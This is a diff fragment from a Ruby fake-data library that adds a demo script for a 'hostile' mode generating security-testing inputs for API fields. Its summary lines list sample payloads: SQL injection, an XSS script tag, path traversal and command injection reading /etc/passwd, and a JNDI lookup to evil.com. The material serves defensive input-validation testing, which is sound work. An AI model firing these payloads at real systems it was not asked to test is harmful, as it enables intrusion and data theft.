214
|
+
|
|
215
|
+
- **`default_value`** - Default value with probability
|
|
216
|
+
```ruby
|
|
217
|
+
status: default_value(value: "active", probability: 0.9)
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
## See Also
|
|
221
|
+
|
|
222
|
+
- [DSL Reference](dsl_reference.md) - Syntax details
|
|
223
|
+
- [Examples](examples.md) - Usage examples
|
|
224
|
+
|
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
# Demonstration script for :hostile mode in FakeDataDSL
|
|
5
|
+
#
|
|
6
|
+
# This script shows how to use the new:hostile generation mode
|
|
7
|
+
# to create security testing payloads
|
|
8
|
+
|
|
9
|
+
require_relative "lib/fake_data_dsl"
|
|
10
|
+
|
|
11
|
+
puts "=" * 80
|
|
12
|
+
puts "FakeDataDSL - Hostile Mode Demonstration"
|
|
13
|
+
puts "Security Testing & Payload Generation"
|
|
14
|
+
puts "=" * 80
|
|
15
|
+
puts
|
|
16
|
+
|
|
17
|
+
# Define a User schema with various field types
|
|
18
|
+
user_dsl = <<~DSL
|
|
19
|
+
User:
|
|
20
|
+
id: uuid
|
|
21
|
+
username: text(10..20)
|
|
22
|
+
age: number(18..100)
|
|
23
|
+
bio: text(50..200)
|
|
24
|
+
score: number(0..1000)
|
|
25
|
+
DSL
|
|
26
|
+
|
|
27
|
+
schema = FakeDataDSL.parse(user_dsl)
|
|
28
|
+
|
|
29
|
+
# Generate normal data
|
|
30
|
+
puts "1. NORMAL Mode (:random)"
|
|
31
|
+
puts "-" * 80
|
|
32
|
+
normal_user = schema.generate(seed: 42, mode: :random)
|
|
33
|
+
puts JSON.pretty_generate(normal_user)
|
|
34
|
+
puts
|
|
35
|
+
|
|
36
|
+
# Generate hostile data for security testing
|
|
37
|
+
puts "2. HOSTILE Mode (:hostile) - Security Testing Payloads"
|
|
38
|
+
puts "-" * 80
|
|
39
|
+
puts "This mode generates malicious payloads to test system defenses:\n\n"
|
|
40
|
+
|
|
41
|
+
5.times do |i|
|
|
42
|
+
puts "Sample ##{i + 1}:"
|
|
43
|
+
hostile_user = schema.generate(seed: 100 + i, mode: :hostile)
|
|
44
|
+
puts JSON.pretty_generate(hostile_user)
|
|
45
|
+
puts
|
|
46
|
+
end
|
|
47
|
+
|
|
48
|
+
puts "=" * 80
|
|
49
|
+
puts "Hostile Payload Categories Generated:"
|
|
50
|
+
puts "=" * 80
|
|
51
|
+
puts "✓ SQL Injection (SQLi): ' OR '1'='1, admin'--"
|
|
52
|
+
puts "✓ XSS (Cross-Site Scripting): <script>alert('XSS')</script>"
|
|
53
|
+
puts "✓ Path Traversal: ../../../etc/passwd"
|
|
54
|
+
puts "✓ Buffer Overflows: 'A' * 100000"
|
|
55
|
+
puts "✓ Number Overflows: 2^63, Float::INFINITY, Float::NAN"
|
|
56
|
+
puts "✓ Unicode Edge Cases: Zalgo text, RTL overrides"
|
|
57
|
+
puts "✓ Command Injection: ; ls -la, | cat /etc/passwd"
|
|
58
|
+
puts "✓ Template Injection: {{7*7}}, ${jndi:ldap://evil.com}"
|
|
59
|
+
puts
|
|
60
|
+
puts "Use Case: API Security Testing"
|
|
61
|
+
puts "- Send these payloads to API endpoints to verify proper sanitization"
|
|
62
|
+
puts "- Test database query parameterization"
|
|
63
|
+
puts "- Verify input validation and escaping"
|
|
64
|
+
puts "=" * 80
|